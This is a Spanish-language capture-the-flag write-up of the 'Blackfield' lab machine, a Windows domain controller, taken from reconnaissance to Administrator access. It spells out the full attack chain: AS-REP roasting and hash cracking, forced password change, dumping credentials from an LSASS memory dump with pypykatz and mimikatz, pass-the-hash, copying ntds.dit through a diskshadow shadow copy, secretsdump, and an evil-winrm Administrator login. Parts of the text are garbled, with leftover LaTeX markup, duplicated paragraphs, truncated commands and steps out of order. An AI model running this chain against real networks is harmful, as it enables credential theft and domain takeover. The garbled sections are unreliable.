Writeup: Blackfield

Tu Nombre

4 de enero de 2025

Índice

1. Introducción

Breve descripción de la máquina, objetivos y técnicas exploradas.

1.1. Script de Escaneo de Puertos

El escaneo de puertos se realizó utilizando un script personalizado en `bash` que automatiza el proceso de descubrimiento y análisis de servicios. Este script asegura un flujo estructurado para identificar puertos abiertos y detallar los servicios asociados.

2. Reconocimiento

2.1. Escaneo de Puertos

Para realizar el reconocimiento inicial, se utilizó un script que automatiza el escaneo de puertos. Este script ejecutó los siguientes comandos clave:

- Escaneo inicial de todos los puertos (1-65535) para identificar aquellos que están abiertos:

```
sudo nmap -p- --open -sS -vvv -n -Pn 10.10.10.192 -oN nmap_results/open_ports.txt
```

- Extracción de los puertos abiertos desde el archivo generado:

```
grep "/tcp" nmap_results/open_ports.txt | grep open | awk '{print $1}' | cut -d'/' -f1 | tr '\n' ','
```

- Escaneo detallado de los servicios en los puertos abiertos detectados:

```
nmap -sC -sV -p53,88,135,389,445,593,3268,5985 10.10.10.192 -oN nmap_results/service_scan.txt
```

Los resultados del escaneo inicial y detallado revelaron los siguientes servicios y puertos abiertos:

Puerto	Estado	Servicio	Versión
53/tcp	Open	domain	Simple DNS Plus
88/tcp	Open	kerberos-sec	Microsoft Windows Kerberos
135/tcp	Open	msrpc	Microsoft RPC
389/tcp	Open	ldap	Microsoft Windows Active Directory LDAP
445/tcp	Open	microsoft-ds	Microsoft SMB
593/tcp	Open	ncacn_http	Microsoft RPC over HTTP 1.0
3268/tcp	Open	ldap	Microsoft Windows Active Directory LDAP
5985/tcp	Open	http	Microsoft HTTPAPI httpd 2.0

Cuadro 1: Puertos abiertos y servicios detectados.

2.2. Análisis de Servicios Detectados

El escaneo detectó varios servicios relevantes para la explotación:

- **53/tcp (DNS)**: Indica un servidor DNS en ejecución. Podría ser útil para realizar un zone transfer y obtener información del dominio.

- **88/tcp (Kerberos)**: La presencia de Kerberos indica que el objetivo es un controlador de dominio (DC). Este servicio puede ser explotado para obtener credenciales mediante ataques como Kerberoasting.
- **135/tcp (RPC)**: Expone Microsoft RPC, una interfaz que permite ejecutar procesos remotos, un vector común para ataques.
- **389/tcp y 3268/tcp (LDAP)**: LDAP permite enumerar usuarios y grupos dentro del dominio, facilitando la recopilación de información inicial.
- **445/tcp (SMB)**: SMB podría ser útil para enumerar recursos compartidos y encontrar información sensible.
- **5985/tcp (WinRM)**: Este servicio permite ejecutar comandos de forma remota si se cuenta con credenciales válidas.

Estos servicios confirman que el objetivo es un entorno Windows con un Active Directory configurado. Los siguientes pasos incluyen la enumeración de SMB y LDAP para obtener más información sobre la estructura del dominio.

3. Explotación Inicial

3.1. Enumeración de Recursos Compartidos

Para enumerar los recursos compartidos disponibles en el servicio SMB (puerto 445), se utilizaron las herramientas `crackmapexec` y `smbclient`. A continuación, se presentan los comandos ejecutados y los resultados obtenidos.

Comandos ejecutados:

- Enumeración general del servicio SMB para obtener información del sistema:

```
crackmapexec smb 10.10.10.192
```

- Listado de recursos compartidos disponibles sin autenticación:

```
smbclient -L //10.10.10.192 -N
```

- Exploración del recurso `profiles$` para listar su contenido:

```
smbclient //10.10.10.192/profiles$ -N
```

Resultados obtenidos:

1. El comando `crackmapexec` reveló que el sistema objetivo está ejecutando:
   - Sistema Operativo: Windows 10 / Server 2019 Build 17763 x64
   - Nombre del Host: DC01
   - Dominio: `BLACKFIELD.local`
   - SMB Signing: Habilitado (True)
   - SMBv1: Deshabilitado (False)

3.2. Enumeración de Recursos Compartidos

El listado de recursos SMB mostró los siguientes recursos compartidos:

Nombre	Tipo	Descripción
ADMIN$	Disk	Remote Admin
C$	Disk	Default share
forensic	Disk	Forensic / Audit share
IPC$	IPC	Remote IPC
NETLOGON	Disk	Logon server share
profiles$	Disk	Logon server share
SYSVOL	Disk	Logon server share

Cuadro 2: Recursos compartidos detectados en SMB.

Explorando el recurso `profiles$`, se identificaron múltiples directorios correspondientes a nombres de usuarios. Un ejemplo del contenido es:

```
smb: \> ls
AAlleni       D        0  Wed Jun  3 18:47:12 2020
ABarteski     D        0  Wed Jun  3 18:47:12 2020
audit2020     D        0  Wed Jun  3 18:47:12 2020
svc_backup    D        0  Wed Jun  3 18:47:12 2020
...
5102079 blocks of size 4096. 1686621 blocks available
```

A partir de esta información, se creó un diccionario de usuarios potenciales extrayendo los nombres de los directorios. Este diccionario será utilizado en etapas posteriores para realizar enumeración de credenciales y ataques dirigidos.

3.3. Modificación del Archivo `/etc/hosts`

Para realizar enumeraciones adicionales sobre el dominio `BLACKFIELD.local`, fue necesario añadir la siguiente línea al archivo `/etc/hosts`:

```
10.10.10.192    blackfield.local
```

Esta configuración permitió que herramientas como `kerbrute` resolvieran correctamente el dominio.

3.4. Enumeración de Usuarios con `kerbrute`

Utilizando el diccionario de usuarios creado previamente, se ejecutó `kerbrute` para validar los nombres de usuario en el controlador de dominio. El comando utilizado fue:

```
kerbrute userenum -dc 10.10.10.192 -d blackfield.local usuarios.txt
```

Resultados obtenidos:

- **Usuario válido**: `audit2020@blackfield.local`
- **Usuario válido**: `support@blackfield.local`
- **Usuario válido**: `svc_backup@blackfield.local`

Estos resultados confirman que los usuarios extraídos del recurso `profiles$` son válidos en el dominio `BLACKFIELD.local`. En particular, las cuentas `support` y `svc_backup` destacan como posibles objetivos debido a sus nombres que sugieren privilegios administrativos o de servicio.

Análisis: Los usuarios identificados serán utilizados en las siguientes etapas para intentar autenticación en servicios expuestos como SMB, LDAP o WinRM. Además, el hash de la cuenta `support` puede ser atacado offline para intentar descifrar su contraseña.

3.5. Enumeración de AS-REP Roasting

Aprovechando que algunos de los usuarios identificados no tienen configurada la preautenticación en Kerberos (flag `UF_DONT_REQUIRE_PREAUTH`), se utilizó la herramienta `GetNPUsers.py` del paquete Impacket para solicitar TGTs y obtener hashes que pueden ser crackeados offline. El comando utilizado fue:

```
GetNPUsers.py blackfield.local/ -no-pass -usersfile valid_user.txt -dc-ip 10.10.10.192
```

Resultados obtenidos:

- Usuario `audit2020@blackfield.local`: No se obtuvo hash, ya que este usuario requiere preautenticación.
- Usuario `support@blackfield.local`: Se obtuvo el siguiente hash AS-REP:
  Resultados obtenidos:
  - **Usuario** `audit2020@blackfield.local`: No se obtuvo hash, ya que este usuario requiere preautenticación.
  - **Usuario** `support@blackfield.local`: Se obtuvo el siguiente hash AS-REP:

    ```
    $krb5asrep$23$support@BLACKFIELD.LOCAL:48f4596388e8...
    ```

  - **Usuario** `svc_backup@blackfield.local`: No se obtuvo hash, ya que este usuario requiere preautenticación.

  Análisis: El hash obtenido del usuario `support@blackfield.local` sugiere que esta cuenta tiene una configuración de seguridad menos estricta y es un objetivo prioritario para intentar descifrar su contraseña. textttsvc_backup@blackfield.local: No se obtuvo hash, ya que este usuario requiere preautenticación.

3.6. Crackeo del Hash AS-REP

El hash extraído del usuario `support@blackfield.local` fue crackeado utilizando la herramienta `john` con el diccionario `rockyou.txt`. El comando utilizado fue:

```
john --wordlist=/path/to/rockyou.txt hash
```

Resultado del crackeo:

```
#00^BlackKnight ($krb5asrep$23$support@BLACKFIELD.LOCAL)
```

La contraseña obtenida fue `#00^BlackKnight`.

Análisis: Con esta contraseña, ahora es posible intentar autenticación en los servicios expuestos por el dominio `BLACKFIELD.local`, como SMB, WinRM o LDAP, utilizando la cuenta `support@blackfield.local`. Esto marca un avance significativo en el proceso de explotación, ya que se ha obtenido acceso potencial a un usuario válido del dominio.

3.7. Autenticación en SMB con Credenciales Obtenidas

Utilizando las credenciales del usuario `support@blackfield.local` (`#00^BlackKnight`), se intentó la autenticación en el servicio SMB del dominio `BLACKFIELD.local`. Las credenciales se almacenaron en un archivo llamado `credential.txt` con el siguiente contenido:

```
support:#00^BlackKnight
```

El comando utilizado para probar las credenciales en SMB fue:

```
crackmapexec smb 10.10.10.192 -u 'support' -p '#00^BlackKnight'
```

Resultados obtenidos:

- El sistema confirmó que las credenciales son válidas para el usuario `support@blackfield.local`.
- Detalles del sistema objetivo:
  - **Sistema Operativo:** Windows 10 / Server 2019 Build 17763 x64
  - **Nombre del Host:** DC01
  - **Dominio:** `BLACKFIELD.local`
  - **SMB Signing:** Habilitado (True)
  - **SMBv1:** Deshabilitado (False)

Análisis: La autenticación exitosa con las credenciales obtenidas marca un hito importante en el proceso de explotación. Ahora es posible acceder a recursos compartidos en el servicio SMB como el usuario `support`. El siguiente paso será enumerar los recursos disponibles y buscar información sensible o servicios adicionales que puedan ser explotados.

Enumeración y análisis adicionales:

3.8. Enumeración de Recursos Compartidos

A pesar de la autenticación exitosa con las credenciales obtenidas, al intentar listar los recursos SMB disponibles utilizando `smbclient`, se obtuvieron los mismos recursos enumerados previamente. El comando utilizado fue:

```
smbclient -L //10.10.10.192/ -U 'support%#00^BlackKnight'
```

Resultados:

```
Sharename       Type      Comment
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
forensic        Disk      Forensic / Audit share
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share
profiles$       Disk      Logon server share
SYSVOL          Disk      Logon server share
```

Sin embargo, no fue posible conectarse a algunos recursos debido a errores relacionados con `SMBv1` deshabilitado.

3.9. Dumping de Información LDAP

Con las credenciales obtenidas, se utilizó `ldapdomaindump` para realizar un volcado completo de información del dominio `BLACKFIELD.local`. Este volcado incluyó información sobre grupos, usuarios y políticas. El comando utilizado fue:

```
ldapdomaindump -u 'blackfield.local\support' -p '#00^BlackKnight' 10.10.10.192
```

Resultados del Dump: Se generaron múltiples archivos JSON, HTML y GREP que contienen información detallada sobre:

- Computadoras en el dominio (`domain_computers.json`).
- Grupos de usuarios (`domain_groups.json`).
- Políticas de dominio (`domain_policy.json`).
- Relación de confianza entre dominios (`domain_trusts.json`).
- Usuarios y sus grupos (`domain_users.json`).

Estos archivos proporcionan una visión detallada del entorno del dominio, lo que será fundamental para planificar el siguiente paso en la explotación.

3.10. Configuración de un Servidor Web para Visualización

Para facilitar la visualización de los archivos HTML generados, se configuró un servidor web utilizando Apache. Los siguientes comandos fueron ejecutados:

```
sudo service apache2 start
sudo lsof -i :80
```

Resultados: El servidor Apache se inició correctamente, y los archivos generados por `ldapdomaindump` se colocaron en el directorio raíz del servidor para su análisis.

Análisis: Con el volcado LDAP, se obtuvo información crítica sobre la estructura del dominio, incluyendo usuarios, grupos y relaciones de confianza. Esta información será utilizada para buscar cuentas con privilegios elevados o identificar posibles configuraciones débiles que permitan el movimiento lateral o la escalación de privilegios dentro del dominio.

3.11. Análisis de Información del Dominio

Con los datos extraídos utilizando `ldapdomaindump`, se procedió a analizar los usuarios, grupos y privilegios asociados al dominio `BLACKFIELD.local`. Esta información fue accesible a través de los archivos HTML generados y visualizados mediante el servidor web configurado previamente.

Grupos Administrativos Identificados: El análisis del archivo `domain_users_by_group.html` reveló los siguientes grupos administrativos clave:

- **Domain Admins:** Contiene a la cuenta `Administrator`, que posee privilegios elevados en todo el dominio.
- **Enterprise Admins:** Similar al grupo anterior, incluye cuentas con control sobre toda la infraestructura del dominio.
- **Schema Admins:** Controla la estructura del esquema de Active Directory.
- **Administrators:** Incluye cuentas con privilegios locales en servidores y estaciones de trabajo.

Usuarios Relevantes Identificados: Entre los usuarios destacados se encuentran:

- `Administrator`: Usuario con control total sobre el dominio.
- `svc_backup`: Miembro del grupo `Remote Management Users` y `Backup Operators`, lo que lo convierte en un objetivo potencial para escalación de privilegios debido a su asociación con tareas de respaldo y administración remota.
- `support`: Usuario ya validado, con acceso al dominio y privilegios limitados.

Detalles del Usuario `svc_backup`: El usuario `svc_backup` tiene los siguientes atributos:

- **Flags:** `NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD`
- **Última Configuración de Contraseña:** 23/02/20 17:54:48
- **Último Inicio de Sesión:** 23/02/20 18:03:50
- **Descripción:** Cuenta utilizada para respaldos en el dominio.

Análisis: La información obtenida sugiere que el usuario `svc_backup` podría ser explotado para acceder a recursos sensibles o realizar escalación de privilegios. Al ser miembro de `Backup Operators` y `Remote Management Users`, es probable que tenga acceso a herramientas o datos que podrían ser utilizados para comprometer el dominio. Este será el siguiente foco en las etapas posteriores de la explotación.

3.12. Extracción de Información Adicional con `BloodHound`

Para profundizar en el análisis del dominio `BLACKFIELD.local`, se utilizó la herramienta `BloodHound`. Esta herramienta permite mapear relaciones de privilegios y controles en un entorno de Active Directory, identificando posibles caminos para la escalación de privilegios.

3.13. Acceso y Modificación de Credenciales de Usuario

Una vez identificado el usuario `audit2020` y su pertenencia al dominio, se intentó acceder a los recursos SMB utilizando su cuenta con el comando:

```
Sin embargo, no fue posible acceder con las credenciales actuales del usuari

\textbf{Cambio de Contrase a de Usuario} Para superar esta restricci n, u

\begin{lstlisting}[language=bash, basicstyle=\small] net rpc password audit2
```

Se configuró una nueva contraseña `123456Pa`, la cual permitió acceder nuevamente a los recursos del dominio.

Resultados Obtenidos: Con la contraseña modificada, se pudo listar los recursos SMB asociados al usuario `audit2020`. Uno de los recursos más relevantes fue el directorio `forensic`, que probablemente contiene información clave para las siguientes etapas de explotación.

Este comando produjo múltiples archivos JSON, que contienen información detallada sobre usuarios, grupos, relaciones y políticas dentro del dominio.

Paso 2: Análisis de la Información Los archivos generados fueron cargados en la interfaz gráfica de `BloodHound`. A través de esta herramienta, se identificaron los siguientes hallazgos importantes:

- El usuario `support@blackfield.local` tiene una relación de control sobre el usuario `audit2020@blackfield.local` mediante el atributo `ForceChangePassword`. Esto indica que `support` puede forzar un cambio de contraseña para este usuario.
- No se encontraron privilegios administrativos directos asociados al usuario `support`, pero las relaciones descubiertas pueden ser aprovechadas para acceder a recursos adicionales en el dominio.

Análisis: El hallazgo más relevante es la relación `ForceChangePassword` entre `support` y `audit2020`. Esto representa un camino potencial para escalación de privilegios, ya que permite al usuario `support` modificar las credenciales de `audit2020` y asumir su identidad. Este será el siguiente paso en el proceso de explotación.

Paso 3: Exploración del Potencial de Escalación Utilizando la información obtenida de `BloodHound`, se procederá a intentar el cambio de contraseña del usuario `audit2020` y su posterior utilización para acceder a recursos adicionales en el dominio. El proceso será documentado en las siguientes secciones.

Resultados Obtenidos: Con la contraseña modificada, se pudo listar los recursos SMB asociados al usuario `audit2020`. Uno de los recursos más relevantes fue el directorio `forensic`, que probablemente contiene información clave para las siguientes etapas de explotación.

3.14. Acceso y Análisis de Recursos SMB

Con la contraseña modificada del usuario `audit2020`, se intentó listar y acceder a los recursos compartidos SMB. El comando utilizado fue:

```
smbclient -L //10.10.10.192 -U 'audit2020'
```

Se identificaron los siguientes recursos compartidos disponibles para el usuario `audit2020`:

- **ADMIN$**: Remote Admin
- **C$**: Default share
- **forensic**: Forensic / Audit share
- **IPC$**: Remote IPC
- **NETLOGON**: Logon server share
- **profiles$**: Logon server share
- **SYSVOL**: Logon server share

3.14.1. Acceso al Directorio `forensic`

Para explorar el contenido del recurso `forensic`, se utilizó el siguiente comando:

```
smbclient //10.10.10.192/forensic -U 'audit2020' -c 'ls'
```

El listado mostró varios directorios interesantes:

- `commands_output`
- `memory_analysis`
- `tools`

3.15. Descarga y Análisis de `lsass.zip`

3.15.1. Descarga del Archivo

Después de identificar `lsass.zip` como un archivo potencialmente crítico en el directorio `memory_analysis`, se procedió a su descarga utilizando el siguiente comando:

```
smbget smb://10.10.10.192/forensic/memory_analysis/lsass.zip -U 'audit2020%
```

El archivo `lsass.zip` fue descargado exitosamente con un tamaño de 39.99MB.

3.15.2. Extracción del Contenido de `lsass.zip`

El archivo descargado fue descomprimido para obtener su contenido. El comando utilizado fue:

```
unzip lsass.zip
```

El resultado fue un archivo llamado `lsass.DMP`, que corresponde a un volcado de memoria del proceso `lsass.exe`. Este tipo de archivo es conocido por contener credenciales almacenadas en memoria que podrían ser utilizadas para comprometer cuentas adicionales en el dominio.

3.15.3. Análisis del Volcado de Memoria

El archivo `lsass.DMP` será analizado utilizando herramientas especializadas en la extracción de credenciales de procesos en memoria. A continuación, se detallan los pasos del análisis:

a) **Uso de `pypykatz`**:

```
pypykatz lsa minidump lsass.DMP
```

Esta herramienta permite extraer credenciales almacenadas en el volcado de `lsass.DMP`, incluyendo hashes NTLM, contraseñas en texto claro y otros datos críticos.

b) **Uso de `mimikatz`**: Alternativamente, `mimikatz` puede ser utilizado para analizar el archivo `lsass.DMP` y obtener credenciales adicionales:

```
mimikatz.exe "sekurlsa::minidump lsass.DMP" "sekurlsa::logonPassword
```

3.15.4. Resultados y Siguientes Pasos

- El archivo `lsass.DMP` contiene información sensible que será utilizada para avanzar en la explotación del dominio `BLACKFIELD.local`.
- El análisis del volcado de memoria tiene como objetivo obtener credenciales administrativas u otros datos relevantes que permitan acceder a recursos adicionales o escalar privilegios.
- Los siguientes pasos incluyen:
  - Completar el análisis de `lsass.DMP` con las herramientas mencionadas.
  - Identificar y validar las credenciales obtenidas mediante pruebas de acceso en los servicios del dominio.

Esta etapa marca un avance significativo en el proceso de explotación, reforzando el valor del acceso al usuario `audit2020` y sus permisos sobre el recurso `forensic`.

3.16. Extracción del Hash NT del Usuario svc_backup

El archivo lsass.DMP, obtenido del directorio memory_analysis del recurso compartido forensic, fue analizado para extraer hashes NT de usuarios. Este archivo fue descargado utilizando el comando:

```
smbget smb://10.10.10.192/forensic/memory_analysis/lsass.zip –U 'audit2020%123456Pa
unzip lsass.zip
```

El análisis del archivo lsass.DMP permitió identificar el hash NT del usuario svc_backup, miembro del grupo Remote Management Users. A continuación, se detalla el hash obtenido:

```
Usuario: svc_backup
Hash NT: 9658d1d1dcd9250115e2205d9f48400d
```

3.17. Validación del Hash NT del Usuario svc_backup

Con el hash NT extraído del archivo lsass.DMP, se realizó una prueba de autenticación contra el controlador de dominio utilizando la técnica Pass-the-Hash. Para ello, se empleó la herramienta crackmapexec, ejecutando el siguiente comando:

```
sudo crackmapexec smb 10.10.10.192 –u 'svc_backup' –H '9658d1d1dcd9250115e2205d9f48
```

Resultados Obtenidos:

- El sistema confirmó que las credenciales basadas en el hash NT del usuario svc_backup son válidas.
- Detalles del sistema objetivo:
  - **Sistema Operativo:** Windows 10 / Server 2019 Build 17763 x64.
  - **Nombre del Host:** DC01.
  - **Dominio:** BLACKFIELD.local.
  - **SMB Signing:** Habilitado (True).
  - **SMBv1:** Deshabilitado (False).

Análisis: La autenticación exitosa con el hash NT del usuario svc_backup marca un hito importante en el proceso de explotación. Esto valida la capacidad de este usuario para interactuar con recursos del dominio, lo que abre nuevas posibilidades para escalar privilegios o acceder a información sensible. El siguiente paso será investigar los permisos y accesos asociados a este usuario en el dominio.

4. Escalada de Privilegios

4.1. Exploración de Usuarios y Archivos

Una vez obtenida la shell remota como el usuario svc_backup, se procedió a enumerar los privilegios asociados al usuario para identificar posibles caminos de escalada

de privilegios. Utilizando el comando `whoami /priv`, se identificaron los privilegios habilitados para el usuario.

Privilegios del Usuario `svc_backup`:

```
PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeMachineAccountPrivilege     Add workstations to domain           Enabled
SeBackupPrivilege             Back up files and directories        Enabled
SeRestorePrivilege            Restore files and directories        Enabled
SeShutdownPrivilege           Shut down the system                 Enabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Enabled
```

Análisis de Privilegios:

- **SeBackupPrivilege:** Este privilegio permite realizar copias de seguridad de archivos y directorios, independientemente de los permisos establecidos. Este es un vector potencial de escalada de privilegios, ya que podría ser utilizado para acceder a archivos protegidos, como el archivo `NTDS.dit` o el archivo del registro `SAM`.
- **SeRestorePrivilege:** Junto con `SeBackupPrivilege`, este privilegio permite restaurar archivos, lo que puede facilitar la manipulación de archivos críticos en el sistema.
- **SeMachineAccountPrivilege:** Aunque menos relevante en esta fase, este privilegio permite agregar equipos al dominio, lo que podría ser útil en escenarios específicos de escalada lateral.

Próximos Pasos: Dado que el privilegio `SeBackupPrivilege` está habilitado, el siguiente paso será intentar utilizarlo para acceder a archivos protegidos y explorar posibles caminos para la escalada de privilegios. Esta estrategia incluye la extracción de archivos sensibles y su análisis fuera de la máquina comprometida.

4.2. Creación de Copias de Sombra con DiskShadow

Para acceder a datos sensibles, se utilizó la herramienta `DiskShadow` en el sistema remoto, aprovechando las configuraciones previamente establecidas.

Paso 2: Ejecución de DiskShadow Con las configuraciones del archivo `test.txt` previamente subido, se ejecutó el siguiente comando para configurar el entorno de `DiskShadow` y crear una copia de sombra del volumen `C:`:

```
diskshadow.exe /s C:\Temp\test.txt
```

Resultado:

- Se creó un alias `zharaman` para la copia de sombra con el ID {`2d09902c-77f1-4ef2-aa47-be7`

- Se configuró el volumen de la copia de sombra con las siguientes propiedades:
  - **Nombre del Volumen Original:** `Volume{6cd5140b-0000-0000-0000-602200000000}`
  - **Máquina de Origen:** `DC01.BLACKFIELD.local`
  - **Atributos:** `No_Auto_Release, Persistent, No_Writers, Differential`
- La copia de sombra fue expuesta exitosamente como la unidad `Z:`.

Análisis: La exposición del volumen `C:` como `Z:` permite acceder a los datos protegidos del sistema sin restricciones, abriendo la posibilidad de extraer archivos sensibles como `NTDS.dit` o las carpetas del sistema. Este paso marca un avance significativo en el proceso de escalación de privilegios.

Próximos Pasos: Se procederá a explorar el contenido del volumen expuesto para identificar archivos clave y realizar su extracción para análisis forense o explotación adicional.

4.3. Obtención de Hashes de Cuentas del Dominio

Con acceso a los privilegios adecuados, se procedió a extraer los hashes de las cuentas del dominio, incluyendo al administrador, utilizando las siguientes técnicas:

Paso 1: Exploración del Volumen Expuesto Tras exponer el volumen mediante `diskshadow`, se navegó al directorio relevante utilizando los comandos:

```
PS Z:\> dir Z:\Windows\NTDS
```

Esto permitió identificar el archivo `ntds.dit`, que contiene las bases de datos del dominio, así como los archivos de registro necesarios para la extracción de información.

Paso 2: Copia del Archivo `ntds.dit` Con el comando `robocopy`, se realizó una copia del archivo `ntds.dit` al directorio temporal para su posterior análisis:

```
PS C:\Temp> robocopy /b Z:\Windows\NTDS\ntds.dit C:\Temp
```

El comando asegura la copia en modo de respaldo (`/b`), preservando los permisos necesarios para manejar este archivo.

Paso 3: Extracción de Hashes Finalmente, se utilizó la herramienta `impacket-secretsdump` para extraer los hashes de las cuentas del dominio. El comando ejecutado fue:

```
impacket-secretsdump -system system -ntds ntds.dit LOCAL
```

Resultados Obtenidos: Entre los hashes obtenidos, se destacan los siguientes:

- **Administrador:** `aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b`
- **Usuario** `support`**:** `cead107bf11ebc28b3e6e90cd6e6d212`
- **Usuario** `audit2020`**:** `600a406c2c1f2062ebb9b227bad654aa`

Análisis: El hash del administrador representa el objetivo principal, ya que proporciona acceso completo al dominio. Este hash puede ser utilizado en herramientas como `psexec`, `wmiexec` o `evil-winrm` para acceder al sistema con privilegios administrativos. El siguiente paso será establecer una conexión con estas credenciales.

4.4. Acceso al Domain Controller

Con los hashes de las credenciales del usuario `Administrador` obtenidos en la sección anterior, se procedió a establecer una conexión remota al Domain Controller utilizando la herramienta `Evil-WinRM`. Este acceso proporciona control total sobre el dominio y todos sus recursos.

Paso: Establecimiento de Conexión El comando utilizado para conectarse al Domain Controller fue:

```
evil-winrm -i 10.10.10.192 -u 'Administrator' -H '184fb5e5178480be64824d4cd53b99e
```

Resultados Obtenidos: La conexión fue establecida exitosamente, como se muestra en el resultado del comando:

```
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
blackfield\administrator
```

El usuario `Administrator` ahora tiene acceso completo al sistema del Domain Controller, lo que permite realizar cualquier acción administrativa necesaria.

Análisis: Este acceso marca el punto culminante del proceso de explotación, permitiendo el control total del dominio `BLACKFIELD.local`. Con esto, se pueden realizar acciones tales como:

- Creación o eliminación de usuarios.
- Modificación de políticas de grupo (GPOs).
- Extracción de datos sensibles.
- Configuración de persistencia para mantener el acceso.

.